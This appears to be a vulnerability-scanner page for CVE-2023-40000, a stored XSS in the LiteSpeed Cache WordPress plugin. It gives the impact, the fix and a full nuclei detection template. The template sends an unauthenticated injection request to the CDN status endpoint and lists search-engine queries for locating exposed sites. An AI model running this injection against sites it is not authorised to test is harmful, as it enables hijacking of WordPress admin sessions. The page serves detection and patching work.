LiteSpeed Cache <= 5.7 - Unauthenticated Stored XSS

highseverity

8.3CVSS score

54.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in LiteSpeed Technologies LiteSpeed Cache allows Stored XSS.This issue affects LiteSpeed Cache- from n/a through 5.7.

Impact

Unauthenticated attackers can inject stored XSS through the CDN status endpoint, allowing them to execute JavaScript in all WordPress admin users' browsers, potentially stealing admin credentials and hijacking WordPress sites using LiteSpeed Cache.

Fix

Update LiteSpeed Cache plugin to version 5.7.0.1 or later which properly sanitizes input in the /wp-json/litespeed/v1/cdn_status endpoint.

How to confirm it

Send: GET /wp-content/plugins/litespeed-cache/readme.txt
Positive when: status_code == 200 and contains(body, 'LiteSpeed Cache') and compare_versions(version, '<= 5.7.0.1')
Send: POST /wp-json/litespeed/v1/cdn_status
Positive when: contains_all(body,'_res','ok') and contains(content_type,"application/json") and status_code == 200
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=litespeed-cdn
Positive when: status_code == 200 and contains_all(body, "{{marker}}", "LiteSpeed Cache")

Run it with nuclei: nuclei -id CVE-2023-40000 -u <target>

The full check

id: CVE-2023-40000

info:
  name: LiteSpeed Cache <= 5.7 - Unauthenticated Stored XSS
  author: 0x_Akoko
  severity: high
  description: |
    Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in LiteSpeed Technologies LiteSpeed Cache allows Stored XSS.This issue affects LiteSpeed Cache- from n/a through 5.7.
  impact: |
    Unauthenticated attackers can inject stored XSS through the CDN status endpoint, allowing them to execute JavaScript in all WordPress admin users' browsers, potentially stealing admin credentials and hijacking WordPress sites using LiteSpeed Cache.
  remediation: |
    Update LiteSpeed Cache plugin to version 5.7.0.1 or later which properly sanitizes input in the /wp-json/litespeed/v1/cdn_status endpoint.
  reference:
    - https://wpscan.com/vulnerability/dd9054cc-1259-427d-a4ad-1875b7b2b3b4
    - https://wordpress.org/plugins/litespeed-cache
    - https://patchstack.com/database/vulnerability/litespeed-cache/wordpress-litespeed-cache-plugin-5-7-unauthenticated-site-wide-stored-xss-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cve-id: CVE-2023-40000
    cwe-id: CWE-79
    epss-score: 0.54872
    epss-percentile: 0.99033
    cpe: cpe:2.3:a:litespeedtech:litespeed_cache:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: litespeedtech
    product: litespeed_cache
    framework: wordpress
    shodan-query: 'vuln:CVE-2023-40000'
    fofa-query: "wp-content/plugins/litespeed-cache/"
    google-query: inurl:"/wp-content/plugins/litespeed-cache/"
  tags: wpscan,cve,cve2023,wordpress,wp-plugin,wp,litespeed-cache,xss,intrusive,vkev,vuln

variables:
  marker: "{{randstr}}"

flow: http(1) || (http(2) && http(3) && http(4))

http:
  - raw:
      - |
        GET /wp-content/plugins/litespeed-cache/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, 'LiteSpeed Cache')
          - compare_versions(version, '<= 5.7.0.1')
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        name: version
        regex:
          - 'Stable tag: ([0-9.]+)'

  - raw:
      - |
        POST /wp-json/litespeed/v1/cdn_status HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        success=0&result[_msg]={{marker}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body,'_res','ok')
          - contains(content_type,"application/json")
          - status_code == 200
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=litespeed-cdn HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "{{marker}}", "LiteSpeed Cache")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from